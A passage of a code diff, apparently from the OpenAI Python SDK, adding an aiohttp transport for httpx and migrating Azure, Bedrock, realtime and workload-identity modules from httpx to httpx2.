+ aiohttp.ServerTimeoutError: httpx.TimeoutException,
+ aiohttp.SocketTimeoutError: httpx.ReadTimeout,
+ aiohttp.ClientConnectionError: httpx.ConnectTimeout,
+ aiohttp.ClientConnectorError: httpx.ConnectError,
+ aiohttp.ClientPayloadError: httpx.ReadError,
+ aiohttp.ClientProxyConnectionError: httpx.ProxyError,
+ aiohttp.ClientHttpProxyError: httpx.ProxyError,
+}
+
+if metadata.version("aiohttp") >= "3.10.0":
+ AIOHTTP_EXC_MAP.update(
+ {
+ aiohttp.client_exceptions.NonHttpUrlClientError: httpx.UnsupportedProtocol, # type: ignore[reportAttributeAccessIssue]
+ aiohttp.client_exceptions.InvalidUrlClientError: httpx.UnsupportedProtocol, # type: ignore[reportAttributeAccessIssue]
+ }
+ )
+
+SOCKET_OPTION = t.Union[
+ t.Tuple[int, int, int],
+ t.Tuple[int, int, t.Union[bytes, bytearray]],
+ t.Tuple[int, int, None, int],
+]
+
+
+@contextlib.contextmanager
+def map_aiohttp_exceptions() -> typing.Iterator[None]:
+ try:
+ yield
+ except Exception as exc:
+ mapped_exc = None
+
+ for from_exc, to_exc in AIOHTTP_EXC_MAP.items():
+ if not isinstance(exc, from_exc): # type: ignore
+ continue
+ if mapped_exc is None or issubclass(to_exc, mapped_exc):
+ mapped_exc = to_exc
+
+ if mapped_exc is None: # pragma: no cover
+ raise
+
+ message = str(exc)
+ raise mapped_exc(message) from exc
+
+
+class AiohttpResponseStream(httpx.AsyncByteStream):
+ CHUNK_SIZE = 1024 * 16
+
+ def __init__(self, aiohttp_response: ClientResponse) -> None:
+ self._aiohttp_response = aiohttp_response
+
+ async def __aiter__(self) -> typing.AsyncIterator[bytes]:
+ with map_aiohttp_exceptions():
+ async for chunk in self._aiohttp_response.content.iter_chunked(self.CHUNK_SIZE):
+ yield chunk
+
+ async def aclose(self) -> None:
+ with map_aiohttp_exceptions():
+ await self._aiohttp_response.__aexit__(None, None, None)
+
+
+class AiohttpTransport(httpx.AsyncBaseTransport):
+ def __init__(
+ self,
+ verify: ssl.SSLContext | str | bool = True,
+ cert: t.Union[str, t.Tuple[str, str], t.Tuple[str, str, str], None] = None,
+ trust_env: bool = True,
+ http1: bool = True,
+ http2: bool = False,
+ limits: httpx.Limits = httpx.Limits(max_connections=100, max_keepalive_connections=20),
+ proxy: httpx.Proxy | None = None,
+ uds: str | None = None,
+ local_address: str | None = None,
+ retries: int = 0,
+ socket_options: typing.Iterable[SOCKET_OPTION] | None = None,
+ client: ClientSession | t.Callable[[], ClientSession] | None = None,
+ # Additional keyword arguments for future compatibility
+ # If httpx decides to add one, we won't break the API
+ **kwargs: t.Dict[str, t.Any],
+ ) -> None:
+ if http2:
+ if not http1:
+ raise httpx.UnsupportedProtocol("HTTP/2 is not supported by aiohttp transport, use HTTP/1.1 instead.")
+ warning("HTTP/2 is not supported by aiohttp transport, using HTTP/1.1 instead.")
+
+ ssl_context = httpx.create_ssl_context(
+ verify=verify,
+ cert=cert,
+ trust_env=trust_env,
+ )
+
+ self.ssl_context = ssl_context
+ self.proxy = proxy
+ self.limits = limits
+ self.retries = retries
+ self.socket_options = socket_options or []
+ self.uds = uds
+ self.local_address = local_address
+
+ self.client = client
+
+ def get_client(self) -> ClientSession:
+ if callable(self.client):
+ return self.client()
+ elif isinstance(self.client, ClientSession):
+ return self.client
+ else:
+ limit_kwarg = (
+ {
+ "limit": self.limits.max_connections,
+ }
+ if self.limits.max_connections is not None
+ else {}
+ )
+ if self.uds:
+ connector = aiohttp.UnixConnector(
+ path=self.uds,
+ keepalive_timeout=self.limits.keepalive_expiry,
+ **limit_kwarg, # type: ignore
+ )
+ else:
+ connector = aiohttp.TCPConnector(
+ keepalive_timeout=self.limits.keepalive_expiry,
+ ssl=self.ssl_context,
+ local_addr=(self.local_address, 0) if self.local_address else None,
+ **limit_kwarg, # type: ignore
+ )
+ return ClientSession(connector=connector)
+
+ async def handle_async_request(
+ self,
+ request: httpx.Request,
+ ) -> httpx.Response:
+ if not isinstance(self.client, ClientSession):
+ self.client = self.get_client()
+
+ timeout = request.extensions.get("timeout", {})
+ sni_hostname = request.extensions.get("sni_hostname")
+
+ with map_aiohttp_exceptions():
+ data: t.Union[bytes, httpx.AsyncByteStream, None]
+ try:
+ data = request.content
+ if data == b"":
+ data = None
+
+ except httpx.RequestNotRead:
+ data = request.stream # type: ignore
+ request.headers.pop("transfer-encoding", None) # handled by aiohttp
+
+ response = await self.client.request(
+ method=request.method,
+ url=str(request.url) if request.url else "https://127.0.0.1:8000/",
+ headers=request.headers,
+ data=data,
+ allow_redirects=False,
+ auto_decompress=False,
+ compress=False,
+ timeout=ClientTimeout(
+ sock_connect=timeout.get("connect"),
+ sock_read=timeout.get("read"),
+ connect=timeout.get("pool"),
+ ),
+ server_hostname=sni_hostname,
+ proxy=str(self.proxy.url) if self.proxy else None,
+ proxy_auth=BasicAuth(self.proxy.auth[0], self.proxy.auth[1])
+ if self.proxy and self.proxy.auth
+ else None,
+ proxy_headers=self.proxy.headers if self.proxy else None,
+ ).__aenter__()
+
+ extensions = {"http_version": b"HTTP/1.1"}
+
+ if response.reason:
+ extensions["reason_phrase"] = response.reason.encode()
+
+ return httpx.Response(
+ status_code=response.status,
+ headers=response.raw_headers,
+ stream=AiohttpResponseStream(response),
+ request=request,
+ extensions=extensions,
+ )
+
+ async def aclose(self) -> None:
+ if isinstance(self.client, ClientSession):
+ await self.client.close()
diff --git a/src/openai/auth/_workload.py b/src/openai/auth/_workload.py
index 1c1efe536d..73b110b445 100644
--- a/src/openai/auth/_workload.py
+++ b/src/openai/auth/_workload.py
@@ -6,9 +6,9 @@
from pathlib import Path
from typing_extensions import Literal, NotRequired
-import httpx
+import httpx2
-from .._httpx2 import DefaultHttpx2Client
+from .._httpx2 import DefaultHttpx2Client, _loaded_legacy_httpx
from .._exceptions import OAuthError, OpenAIError, SubjectTokenProviderError
from .._utils._sync import to_thread
@@ -75,7 +75,7 @@ def azure_managed_identity_token_provider(
msi_res_id: str | None = None,
api_version: str = "2018-02-01",
timeout: float = 10.0,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
) -> SubjectTokenProvider:
"""
Get a subject token provider for Azure Managed Identities.
@@ -89,7 +89,7 @@ def azure_managed_identity_token_provider(
msi_res_id: the ARM resource ID of the managed identity to use, when multiple are assigned.
api_version: the Azure IMDS API version. Defaults to `2018-02-01`.
timeout: the request timeout in seconds. Defaults to 10.0.
- http_client: optional httpx.Client instance to use for requests. If not provided, a new client will be created for each request.
+ http_client: optional httpx2.Client instance to use for requests. If not provided, a new client will be created for each request.
"""
def get_token() -> str:
@@ -106,7 +106,7 @@ def get_token() -> str:
if http_client is not None:
response = http_client.get(url, params=params, headers={"Metadata": "true"}, timeout=timeout)
else:
- with httpx.Client() as client:
+ with httpx2.Client() as client:
response = client.get(url, params=params, headers={"Metadata": "true"}, timeout=timeout)
if response.is_error:
@@ -131,7 +131,7 @@ def gcp_id_token_provider(
audience: str = "https://api.openai.com/v1",
*,
timeout: float = 10.0,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
) -> SubjectTokenProvider:
"""
Get a subject token provider for GCP VM instances using the instance metadata server.
@@ -142,7 +142,7 @@ def gcp_id_token_provider(
audience: the unique URI agreed upon by both the instance and the system verifying
the instance's identity. Defaults to `https://api.openai.com/v1`.
timeout: the request timeout in seconds. Defaults to 10.0.
- http_client: optional httpx.Client instance to use for requests. If not provided, a new client will be created for each request.
+ http_client: optional httpx2.Client instance to use for requests. If not provided, a new client will be created for each request.
"""
def get_token() -> str:
@@ -153,7 +153,7 @@ def get_token() -> str:
if http_client is not None:
response = http_client.get(url, params=params, headers={"Metadata-Flavor": "Google"}, timeout=timeout)
else:
- with httpx.Client() as client:
+ with httpx2.Client() as client:
response = client.get(url, params=params, headers={"Metadata-Flavor": "Google"}, timeout=timeout)
if response.is_error:
@@ -177,7 +177,7 @@ def __init__(
*,
workload_identity: WorkloadIdentity,
token_exchange_url: str = DEFAULT_TOKEN_EXCHANGE_URL,
- _use_httpx2: bool = False,
+ _use_httpx2: bool = True,
):
self.workload_identity = workload_identity
self.token_exchange_url = token_exchange_url
@@ -248,7 +248,10 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]:
f"Unsupported token type: {token_type!r}. Supported types: {', '.join(SUBJECT_TOKEN_TYPES.keys())}"
)
- exchange_client = DefaultHttpx2Client(follow_redirects=False) if self._use_httpx2 else httpx.Client()
+ legacy_httpx = _loaded_legacy_httpx() if not self._use_httpx2 else None
+ exchange_client = (
+ legacy_httpx.Client() if legacy_httpx is not None else DefaultHttpx2Client(follow_redirects=False)
+ )
with exchange_client as client:
response = client.post(
self.token_exchange_url,
@@ -263,7 +266,7 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]:
)
return self._handle_token_response(response)
- def _handle_token_response(self, response: httpx.Response) -> dict[str, Any]:
+ def _handle_token_response(self, response: httpx2.Response) -> dict[str, Any]:
try:
body = response.json() if response.content else None
except ValueError:
diff --git a/src/openai/lib/_realtime.py b/src/openai/lib/_realtime.py
index 3771b52986..e894d8e451 100644
--- a/src/openai/lib/_realtime.py
+++ b/src/openai/lib/_realtime.py
@@ -3,7 +3,7 @@
import json
from typing_extensions import override
-import httpx
+import httpx2
from openai import _legacy_response
from openai._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -28,7 +28,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
if session is omit:
extra_headers = {"Accept": "application/sdp", "Content-Type": "application/sdp", **(extra_headers or {})}
@@ -65,7 +65,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
if session is omit:
extra_headers = {"Accept": "application/sdp", "Content-Type": "application/sdp", **(extra_headers or {})}
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index 4ebe0a98aa..5e0b6f5203 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -5,7 +5,7 @@
from typing import Any, Union, Mapping, TypeVar, Callable, Awaitable, cast, overload
from typing_extensions import Self, override
-import httpx
+import httpx2
from ..auth import WorkloadIdentity
from .._types import NOT_GIVEN, Omit, Query, Headers, Timeout, NotGiven
@@ -35,7 +35,7 @@
AzureADTokenProvider = Callable[[], str]
AsyncAzureADTokenProvider = Callable[[], "str | Awaitable[str]"]
-_HttpxClientT = TypeVar("_HttpxClientT", bound=Union[httpx.Client, httpx.AsyncClient])
+_HttpxClientT = TypeVar("_HttpxClientT", bound=Union[httpx2.Client, httpx2.AsyncClient])
_DefaultStreamT = TypeVar("_DefaultStreamT", bound=Union[Stream[Any], AsyncStream[Any]])
@@ -62,7 +62,7 @@ def __init__(self) -> None:
class BaseAzureClient(BaseClient[_HttpxClientT, _DefaultStreamT]):
- _azure_endpoint: httpx.URL | None
+ _azure_endpoint: httpx2.URL | None
_azure_deployment: str | None
@override
@@ -71,7 +71,7 @@ def _build_request(
options: FinalRequestOptions,
*,
retries_taken: int = 0,
- ) -> httpx.Request:
+ ) -> httpx2.Request:
if options.url in _deployments_endpoints and is_mapping(options.json_data):
model = options.json_data.get("model")
if model is not None and "/deployments" not in str(self.base_url.path):
@@ -80,13 +80,13 @@ def _build_request(
return super()._build_request(options, retries_taken=retries_taken)
@override
- def _prepare_url(self, url: str) -> httpx.URL:
+ def _prepare_url(self, url: str) -> httpx2.URL:
"""Adjust the URL if the client was configured with an Azure endpoint + deployment
and the API feature being called is **not** a deployments-based endpoint
(i.e. requires /deployments/deployment-name in the URL path).
"""
if self._azure_deployment and self._azure_endpoint and url not in _deployments_endpoints:
- merge_url = httpx.URL(url)
+ merge_url = httpx2.URL(url)
if merge_url.is_relative_url:
merge_raw_path = (
self._azure_endpoint.raw_path.rstrip(b"/") + b"/openai/" + merge_url.raw_path.lstrip(b"/")
@@ -98,7 +98,7 @@ def _prepare_url(self, url: str) -> httpx.URL:
return super()._prepare_url(url)
-class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI):
+class AzureOpenAI(BaseAzureClient[httpx2.Client, Stream[Any]], OpenAI):
@overload
def __init__(
self,
@@ -112,12 +112,12 @@ def __init__(
azure_ad_token_provider: AzureADTokenProvider | None = None,
organization: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None: ...
@@ -134,12 +134,12 @@ def __init__(
azure_ad_token_provider: AzureADTokenProvider | None = None,
organization: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None: ...
@@ -156,12 +156,12 @@ def __init__(
azure_ad_token_provider: AzureADTokenProvider | None = None,
organization: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None: ...
@@ -181,13 +181,13 @@ def __init__(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
base_url: str | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None:
@@ -276,7 +276,7 @@ def __init__(
self._azure_ad_token = azure_ad_token
self._azure_ad_token_provider = azure_ad_token_provider
self._azure_deployment = azure_deployment if azure_endpoint else None
- self._azure_endpoint = httpx.URL(azure_endpoint) if azure_endpoint else None
+ self._azure_endpoint = httpx2.URL(azure_endpoint) if azure_endpoint else None
@override
def copy(
@@ -289,13 +289,13 @@ def copy(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
api_version: str | None = None,
azure_ad_token: str | None = None,
azure_ad_token_provider: AzureADTokenProvider | None = None,
- base_url: str | httpx.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
default_headers: Mapping[str, str] | None = None,
set_default_headers: Mapping[str, str] | None = None,
@@ -393,7 +393,7 @@ def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
return options
- def _configure_realtime(self, model: str, extra_query: Query) -> tuple[httpx.URL, dict[str, str]]:
+ def _configure_realtime(self, model: str, extra_query: Query) -> tuple[httpx2.URL, dict[str, str]]:
auth_headers = {}
query = {
**extra_query,
@@ -419,7 +419,7 @@ def _configure_realtime(self, model: str, extra_query: Query) -> tuple[httpx.URL
return url, auth_headers
-class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI):
+class AsyncAzureOpenAI(BaseAzureClient[httpx2.AsyncClient, AsyncStream[Any]], AsyncOpenAI):
@overload
def __init__(
self,
@@ -434,12 +434,12 @@ def __init__(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None: ...
@@ -457,12 +457,12 @@ def __init__(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None: ...
@@ -480,12 +480,12 @@ def __init__(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None: ...
@@ -506,12 +506,12 @@ def __init__(
project: str | None = None,
webhook_secret: str | None = None,
base_url: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
) -> None:
@@ -600,7 +600,7 @@ def __init__(
self._azure_ad_token = azure_ad_token
self._azure_ad_token_provider = azure_ad_token_provider
self._azure_deployment = azure_deployment if azure_endpoint else None
- self._azure_endpoint = httpx.URL(azure_endpoint) if azure_endpoint else None
+ self._azure_endpoint = httpx2.URL(azure_endpoint) if azure_endpoint else None
@override
def copy(
@@ -613,13 +613,13 @@ def copy(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
api_version: str | None = None,
azure_ad_token: str | None = None,
azure_ad_token_provider: AsyncAzureADTokenProvider | None = None,
- base_url: str | httpx.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
default_headers: Mapping[str, str] | None = None,
set_default_headers: Mapping[str, str] | None = None,
@@ -719,7 +719,7 @@ async def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOp
return options
- async def _configure_realtime(self, model: str, extra_query: Query) -> tuple[httpx.URL, dict[str, str]]:
+ async def _configure_realtime(self, model: str, extra_query: Query) -> tuple[httpx2.URL, dict[str, str]]:
auth_headers = {}
query = {
**extra_query,
diff --git a/src/openai/lib/bedrock.py b/src/openai/lib/bedrock.py
index 466e8ed75e..25a4a56453 100644
--- a/src/openai/lib/bedrock.py
+++ b/src/openai/lib/bedrock.py
@@ -8,7 +8,7 @@
from dataclasses import field, replace, dataclass
from typing_extensions import Self, override
-import httpx
+import httpx2
from ..auth import WorkloadIdentity
from .._types import NOT_GIVEN, Timeout, NotGiven
@@ -71,7 +71,7 @@ def _configured_region(region: str | None) -> str | None:
return configured.strip() if configured is not None and configured.strip() else None
-def _uses_region_derived_base_url(base_url: str | httpx.URL | None) -> bool:
+def _uses_region_derived_base_url(base_url: str | httpx2.URL | None) -> bool:
if isinstance(base_url, str) and not base_url.strip():
base_url = None
if base_url is not None:
@@ -121,7 +121,7 @@ def _legacy_provider(
aws_secret_access_key: str | None,
aws_session_token: str | None,
aws_credentials_provider: AwsCredentialsProvider | None,
- base_url: str | httpx.URL | None,
+ base_url: str | httpx2.URL | None,
region_was_explicit: bool | None = None,
) -> tuple[_Provider, _LegacyBedrockState, str]:
if callable(cast(object, api_key)):
@@ -154,7 +154,7 @@ def _legacy_provider(
resolved_region = _configured_region(aws_region)
uses_region_derived_base_url = _uses_region_derived_base_url(base_url)
- provider_base_url: str | httpx.URL | None | NotGiven
+ provider_base_url: str | httpx2.URL | None | NotGiven
if isinstance(base_url, str) and not base_url.strip():
provider_base_url = None
elif base_url is None:
@@ -203,7 +203,7 @@ def _copy_configuration(
aws_secret_access_key: str | None,
aws_session_token: str | None,
aws_credentials_provider: AwsCredentialsProvider | None,
- base_url: str | httpx.URL | None,
+ base_url: str | httpx2.URL | None,
) -> tuple[dict[str, object], _Provider | None, _LegacyBedrockState | None]:
_synchronize_legacy_routing_state(client)
state = client._bedrock_state
@@ -271,7 +271,7 @@ def _copy_configuration(
next_region = None
if base_url is not None:
- next_base_url: str | httpx.URL | None = base_url
+ next_base_url: str | httpx2.URL | None = base_url
elif state.uses_region_derived_base_url:
next_base_url = ""
else:
@@ -406,13 +406,13 @@ def __init__(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- base_url: str | httpx.URL | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
_provider: _Provider | None = None,
@@ -525,10 +525,10 @@ def copy(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
- base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
default_headers: Mapping[str, str] | None = None,
set_default_headers: Mapping[str, str] | None = None,
@@ -640,13 +640,13 @@ def __init__(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- base_url: str | httpx.URL | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
max_retries: int = DEFAULT_MAX_RETRIES,
default_headers: Mapping[str, str] | None = None,
default_query: Mapping[str, object] | None = None,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
_strict_response_validation: bool = False,
_enforce_credentials: bool = True,
_provider: _Provider | None = None,
@@ -761,10 +761,10 @@ def copy(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- websocket_base_url: str | httpx.URL | None = None,
- base_url: str | httpx.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
timeout: float | Timeout | None | NotGiven = NOT_GIVEN,
- http_client: httpx.AsyncClient | None = None,
+ http_client: httpx2.AsyncClient | None = None,
max_retries: int | NotGiven = NOT_GIVEN,
default_headers: Mapping[str, str] | None = None,
set_default_headers: Mapping[str, str] | None = None,
diff --git a/src/openai/providers/bedrock.py b/src/openai/providers/bedrock.py
index ed6be81c9e..e6dafaeaf2 100644
--- a/src/openai/providers/bedrock.py
+++ b/src/openai/providers/bedrock.py
@@ -6,7 +6,7 @@
from typing import Literal, Callable, Awaitable, cast
from dataclasses import field, dataclass
-import httpx
+import httpx2
from .._types import NOT_GIVEN, NotGiven
from .._utils import asyncify
@@ -34,7 +34,7 @@ def _normalize_optional_string(value: str | None) -> str | None:
return normalized or None
-def _normalize_base_url(base_url: str | httpx.URL) -> httpx.URL:
+def _normalize_base_url(base_url: str | httpx2.URL) -> httpx2.URL:
url = normalize_httpx_url(base_url)
path = url.path.rstrip("/")
responses_match = re.search(r"/responses(?:/.*)?$", path)
@@ -44,11 +44,11 @@ def _normalize_base_url(base_url: str | httpx.URL) -> httpx.URL:
return url.copy_with(path=path or "/")
-def _same_origin(left: httpx.URL, right: httpx.URL) -> bool:
+def _same_origin(left: httpx2.URL, right: httpx2.URL) -> bool:
return (left.scheme, left.host, left.port) == (right.scheme, right.host, right.port)
-def _body_for_signing(request: httpx.Request) -> bytes:
+def _body_for_signing(request: httpx2.Request) -> bytes:
try:
return request.content
except request_not_read_exceptions() as exc:
@@ -58,7 +58,7 @@ def _body_for_signing(request: httpx.Request) -> bytes:
) from exc
-def _assert_provider_owns_authorization(request: httpx.Request) -> None:
+def _assert_provider_owns_authorization(request: httpx2.Request) -> None:
if "Authorization" in request.headers:
raise OpenAIError("Bedrock provider authentication cannot be combined with a custom `Authorization` header.")
@@ -74,11 +74,11 @@ def _without_redirects(options: FinalRequestOptions) -> FinalRequestOptions:
class _BedrockBearerAuth:
- def __init__(self, token_provider: BedrockTokenProvider, *, base_url: httpx.URL) -> None:
+ def __init__(self, token_provider: BedrockTokenProvider, *, base_url: httpx2.URL) -> None:
self._token_provider = token_provider
self._base_url = base_url
- def _validate_request(self, request: httpx.Request) -> None:
+ def _validate_request(self, request: httpx2.Request) -> None:
_assert_provider_owns_authorization(request)
if not _same_origin(request.url, self._base_url):
raise OpenAIError(
@@ -116,11 +116,11 @@ async def _resolve_token_async(self) -> str:
raise OpenAIError("The Bedrock bearer credential provider must return a non-empty string.")
return token
- def prepare_request(self, request: httpx.Request) -> None:
+ def prepare_request(self, request: httpx2.Request) -> None:
self._validate_request(request)
request.headers["Authorization"] = f"Bearer {self._resolve_token()}"
- async def prepare_async_request(self, request: httpx.Request) -> None:
+ async def prepare_async_request(self, request: httpx2.Request) -> None:
self._validate_request(request)
request.headers["Authorization"] = f"Bearer {await self._resolve_token_async()}"
@@ -130,14 +130,14 @@ def __init__(
self,
*,
config: BedrockAwsAuthConfig,
- base_url: httpx.URL,
+ base_url: httpx2.URL,
auth: BedrockAwsAuth | None = None,
) -> None:
self._config = config
self._base_url = base_url
self._auth = auth
- def _validate_request(self, request: httpx.Request) -> bytes:
+ def _validate_request(self, request: httpx2.Request) -> bytes:
_assert_provider_owns_authorization(request)
if not _same_origin(request.url, self._base_url):
raise OpenAIError(
@@ -153,7 +153,7 @@ def _validate_request(self, request: httpx.Request) -> bytes:
return _body_for_signing(request)
- def _sign(self, request: httpx.Request, *, auth: BedrockAwsAuth, body: bytes) -> None:
+ def _sign(self, request: httpx2.Request, *, auth: BedrockAwsAuth, body: bytes) -> None:
for header in _AWS_SIGNING_HEADERS:
request.headers.pop(header, None)
@@ -166,13 +166,13 @@ def _sign(self, request: httpx.Request, *, auth: BedrockAwsAuth, body: bytes) ->
request.headers.clear()
request.headers.update(signed_headers)
- def prepare_request(self, request: httpx.Request) -> None:
+ def prepare_request(self, request: httpx2.Request) -> None:
body = self._validate_request(request)
if self._auth is None:
self._auth = BedrockAwsAuth(self._config)
self._sign(request, auth=self._auth, body=body)
- async def prepare_async_request(self, request: httpx.Request) -> None:
+ async def prepare_async_request(self, request: httpx2.Request) -> None:
body = self._validate_request(request)
if self._auth is None:
self._auth = await asyncify(BedrockAwsAuth)(self._config)
@@ -198,7 +198,7 @@ class _BedrockProviderRuntime(_ProviderRuntime):
class _BedrockProviderDefinition:
configured_region: str | None
region_source: Literal["explicit", "environment"] | None
- configured_base_url: httpx.URL | None
+ configured_base_url: httpx2.URL | None
api_key: str | None = field(default=None, repr=False)
token_provider: BedrockTokenProvider | None = field(default=None, repr=False, compare=False)
use_environment_bearer: bool = False
@@ -309,7 +309,7 @@ def environment_token() -> str:
def bedrock(
*,
region: str | None = None,
- base_url: str | httpx.URL | None | NotGiven = NOT_GIVEN,
+ base_url: str | httpx2.URL | None | NotGiven = NOT_GIVEN,
api_key: str | None | NotGiven = NOT_GIVEN,
token_provider: BedrockTokenProvider | None = None,
access_key_id: str | None = None,
@@ -334,7 +334,7 @@ def bedrock(
if normalized_region is not None:
region_source = "environment"
- configured_base_url: httpx.URL | None
+ configured_base_url: httpx2.URL | None
if isinstance(base_url, NotGiven):
environment_base_url = _normalize_optional_string(os.environ.get("AWS_BEDROCK_BASE_URL"))
configured_base_url = _normalize_base_url(environment_base_url) if environment_base_url else None
diff --git a/src/openai/resources/admin/organization/admin_api_keys.py b/src/openai/resources/admin/organization/admin_api_keys.py
index b521393f2e..518413e4ee 100644
--- a/src/openai/resources/admin/organization/admin_api_keys.py
+++ b/src/openai/resources/admin/organization/admin_api_keys.py
